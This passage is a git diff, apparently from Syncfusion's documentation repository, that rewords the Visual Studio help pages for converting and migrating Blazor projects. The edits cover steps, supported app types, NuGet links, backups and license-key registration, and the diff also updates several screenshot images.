-    N> Versions are loaded from the Syncfusion® Blazor NuGet packages available on [`NuGet.org`](https://www.nuget.org/packages?q=Tags%3A%22blazor%22syncfusion) and require an active internet connection.
+     N> Versions are loaded from the Syncfusion® Blazor NuGet packages available on [NuGet.org](https://www.nuget.org/) and require an active internet connection.
 
-4. Select the **Enable a backup before converting** checkbox to create a project backup, and then choose the backup location.
+4. (Optional) Select **Enable a backup before converting** to create a backup of the original project and choose a backup location.
 
-5. After the conversion completes, a confirmation message is displayed.
+5. After conversion completes, a confirmation message is displayed.
 
     ![Conversion succeeded message after completing the conversion](images/ConversionSuccess.png)
 
-    If a backup was enabled, the original project is saved to the specified backup path after conversion, as shown below.
+    If a backup was created, the original project will be saved to the specified backup path.
 
     ![Backup location for the original project created during conversion](images/Backuplocation.png)
 
-6. The selected Blazor application is converted to a Syncfusion® Blazor application by installing the appropriate Syncfusion® Blazor NuGet packages for the chosen version and adding the selected theme styles to the project’s layout file.
+6. After conversion completes, the application is configured with the required Syncfusion® Blazor NuGet packages and the selected theme stylesheet.
 
-7. If using a trial setup or packages from NuGet.org, a Syncfusion® license key must be registered with the application. Syncfusion® introduced license registration starting with the 2018 Volume 2 (v16.2.0.41) Essential Studio® release. Refer to the [licensing overview and key generation guide](https://help.syncfusion.com/common/essential-studio/licensing/overview#how-to-generate-syncfusion-license-key) to generate and register the Syncfusion® license key. For details about the licensing changes introduced in Essential Studio®, see the [2018 Volume 2 announcement](https://www.syncfusion.com/blogs/post/whats-new-in-2018-volume-2).
\ No newline at end of file
+7. If using trial setup or NuGet packages from `nuGet.org`, register the Syncfusion® license key in the application. Syncfusion® introduced license registration in the 2018 Volume 2 (v16.2.0.41) Essential Studio® release. See the [licensing overview and key generation guide](https://help.syncfusion.com/common/essential-studio/licensing/overview#how-to-generate-syncfusion-license-key) to generate and register Syncfusion® license key. For details about the licensing changes introduced in Essential Studio®, see the [2018 Volume 2 announcement](https://www.syncfusion.com/blogs/post/whats-new-in-2018-volume-2).
\ No newline at end of file
diff --git a/blazor/visual-studio-integration/images/Backuplocation.png b/blazor/visual-studio-integration/images/Backuplocation.png
index 5d37d91eea..ba88e9acc3 100644
Binary files a/blazor/visual-studio-integration/images/Backuplocation.png and b/blazor/visual-studio-integration/images/Backuplocation.png differ
diff --git a/blazor/visual-studio-integration/images/Conversion.png b/blazor/visual-studio-integration/images/Conversion.png
index ac4f4f6075..784d8eda21 100644
Binary files a/blazor/visual-studio-integration/images/Conversion.png and b/blazor/visual-studio-integration/images/Conversion.png differ
diff --git a/blazor/visual-studio-integration/images/ConversionSuccess.png b/blazor/visual-studio-integration/images/ConversionSuccess.png
index c646a3bb61..9c479c604d 100644
Binary files a/blazor/visual-studio-integration/images/ConversionSuccess.png and b/blazor/visual-studio-integration/images/ConversionSuccess.png differ
diff --git a/blazor/visual-studio-integration/images/Migration.png b/blazor/visual-studio-integration/images/Migration.png
index 9e15f7c711..9ae03985fe 100644
Binary files a/blazor/visual-studio-integration/images/Migration.png and b/blazor/visual-studio-integration/images/Migration.png differ
diff --git a/blazor/visual-studio-integration/images/MigrationAddin.png b/blazor/visual-studio-integration/images/MigrationAddin.png
index 9d729cf93d..25cdc0b800 100644
Binary files a/blazor/visual-studio-integration/images/MigrationAddin.png and b/blazor/visual-studio-integration/images/MigrationAddin.png differ
diff --git a/blazor/visual-studio-integration/images/MigrationMenu.png b/blazor/visual-studio-integration/images/MigrationMenu.png
index c274a45978..ac6d68f959 100644
Binary files a/blazor/visual-studio-integration/images/MigrationMenu.png and b/blazor/visual-studio-integration/images/MigrationMenu.png differ
diff --git a/blazor/visual-studio-integration/images/MigrationSuccess.png b/blazor/visual-studio-integration/images/MigrationSuccess.png
index 1a85683602..d6870d8237 100644
Binary files a/blazor/visual-studio-integration/images/MigrationSuccess.png and b/blazor/visual-studio-integration/images/MigrationSuccess.png differ
diff --git a/blazor/visual-studio-integration/template-studio.md b/blazor/visual-studio-integration/template-studio.md
index 59698458dd..eac9941bf3 100644
--- a/blazor/visual-studio-integration/template-studio.md
+++ b/blazor/visual-studio-integration/template-studio.md
@@ -13,7 +13,7 @@ Syncfusion<sup style="font-size:70%">&reg;</sup> provides the Blazor Template St
 
 The steps below will assist you to create your **Syncfusion Blazor Application** through **Visual Studio 2026**:
 
-> **Note:** The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor extensions for Visual Studio 2026 are available only for Essential Studio<sup style="font-size:70%">&reg;</sup> versions 20.3.0.56 and earlier.
+> **Note:** The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor extensions for Visual Studio 2026 are available only for Essential Studio<sup style="font-size:70%">&reg;</sup> versions 31.2.10 and later.
 
 N> Before use the Syncfusion® Blazor Project Template, check whether the Syncfusion® Blazor Template Studio Extension installed or not in Visual Studio Extension Manager by clicking on the Extensions -> Manage Extensions -> Installed. If it is not installed, follow the steps in the [download and installation](https://blazor.syncfusion.com/documentation/visual-studio-integration/download-and-installation) topic.
 
diff --git a/blazor/visual-studio-integration/upgrade-project.md b/blazor/visual-studio-integration/upgrade-project.md
index b63265eff4..a819224ce0 100644
--- a/blazor/visual-studio-integration/upgrade-project.md
+++ b/blazor/visual-studio-integration/upgrade-project.md
@@ -7,46 +7,52 @@ control: Common
 documentation: ug
 ---
 
-# Upgrading Syncfusion® Blazor application to latest version
+# Upgrade a Project to the latest Syncfusion® Version
 
-The Syncfusion® Blazor project migration wizard for Visual Studio updates an existing Syncfusion® Blazor application from one Essential Studio® version to another by upgrading the corresponding Syncfusion® Blazor NuGet packages. This reduces manual effort and helps keep projects current.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor migration add-in for Visual Studio updates an existing Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor application to a newer Essential Studio<sup style="font-size:70%">&reg;</sup> release by automatically updating NuGet package references and theme links.
 
-The steps below describe how to upgrade the Syncfusion® version in a Syncfusion® Blazor application using Visual Studio 2022.
+## Steps to migrate the project
 
-N> Before using the Syncfusion® Blazor Project Migration, verify that the Syncfusion® Blazor Template Studio extension is installed in Visual Studio (Extensions -> Manage Extensions -> Installed). If the extension is not installed, install it by following the instructions in the [download and installation](download-and-installation) help topic.
+1. Open the existing Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor application in **Visual Studio 2022** or **Visual Studio 2026**.
 
-1. Open the Syncfusion® Blazor application that uses Syncfusion® components in Visual Studio 2022.
+    Supported application types:
+    - Blazor Web App (Server or WebAssembly rendering)
+    - Blazor Server App
+    - Blazor WebAssembly App (standalone or ASP.NET Core hosted)
+    - Blazor WebAssembly App (Progressive Web Application)
 
 2. Open the Migration Wizard using one of the following options:
 
-    **Option 1**
+    **Option 1:**
 
-    Choose **Extensions -> Syncfusion® -> Essential Studio® for Blazor -> Migrate Project…** from the Visual Studio 2022 menu.
+    Choose **Extensions -> Syncfusion® -> Essential Studio® for Blazor -> Migrate Project…** from the Visual Studio menu.
 
     ![Open the Migrate Project wizard from the Extensions menu in Visual Studio](images/MigrationMenu.PNG)
 
-    **Option 2**
+    **Option 2:**
 
-    In **Solution Explorer**, right-click the project, select **Syncfusion® Blazor**, and then choose **Migrate Syncfusion® Blazor project from another version...**
+    In **Solution Explorer**, right-click the project, select **Syncfusion® Blazor**, then choose **Migrate Syncfusion® Blazor project from another version...**
 
-    ![Open the Migrate Project wizard from the Solution Explorer context menu](images/MigrationAddin.png)
+      ![Open the Migrate Project wizard from the Solution Explorer context menu](images/MigrationAddin.png)
 
-3. In the Syncfusion® Project Migration window, select the required Syncfusion® Blazor version to migrate to.
+    N> The Migration option becomes available only after the project references the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor NuGet packages.
 
-    N> Versions are loaded from the Syncfusion® Blazor NuGet packages published on [NuGet.org](https://www.nuget.org/packages?q=Tags%3A%22blazor%22syncfusion) and require an active internet connection.
+3. In the Syncfusion® Project Migration window, select the desired Syncfusion® Blazor version to migrate to.
 
     ![Syncfusion Blazor Project Migration wizard with version selection](images/Migration.png)
 
-4. Select the **Enable a backup before migrating** checkbox to create a project backup, and then choose the backup location.
+    N> Versions are loaded from the Syncfusion® Blazor NuGet packages available on [NuGet.org](https://www.nuget.org/) and require an active internet connection.
 
-5. After the migration completes, a confirmation message is displayed.
+4. (Optional) Select **Enable a backup before migrating** to create a backup of the original project and choose a backup location.
+
+5. After migration completes, a confirmation message is displayed.
 
     ![Migration succeeded message after completing the project migration](images/MigrationSuccess.png)
 
-    If a backup was enabled, the original project is saved to the specified backup path after migration, as shown below.
+    If a backup was created, the original project will be saved to the specified backup path.
 
-    ![Backup location of the original project created during migration](images/Backuplocation.png)
+    ![Backup location for the original project created during conversion](images/Backuplocation.png)
 
-6. The Syncfusion® Blazor NuGet packages are updated to the selected version in the Syncfusion® Blazor application.
+6. The migration updates the Syncfusion® Blazor NuGet package references in the application's `.csproj` to the selected version.
 
-7. If using a trial setup or packages from NuGet.org, a Syncfusion® license key must be registered with the application. Syncfusion® introduced license registration starting with the 2018 Volume 2 (v16.2.0.41) Essential Studio® release. Refer to the [licensing overview and key generation guide](https://help.syncfusion.com/common/essential-studio/licensing/overview#how-to-generate-syncfusion-license-key) to generate and register the Syncfusion® license key. For details about the licensing changes introduced in Essential Studio®, see the [2018 Volume 2 announcement](https://www.syncfusion.com/blogs/post/whats-new-in-2018-volume-2.aspx).
\ No newline at end of file
+7. If using trial setup or NuGet packages from `nuGet.org`, register the Syncfusion® license key in the application. Syncfusion® introduced license registration in the 2018 Volume 2 (v16.2.0.41) Essential Studio® release. See the [licensing overview and key generation guide](https://help.syncfusion.com/common/essential-studio/licensing/overview#how-to-generate-syncfusion-license-key) to generate and register Syncfusion® license key. For details about the licensing changes introduced in Essential Studio®, see the [2018 Volume 2 announcement](https://www.syncfusion.com/blogs/post/whats-new-in-2018-volume-2).
\ No newline at end of file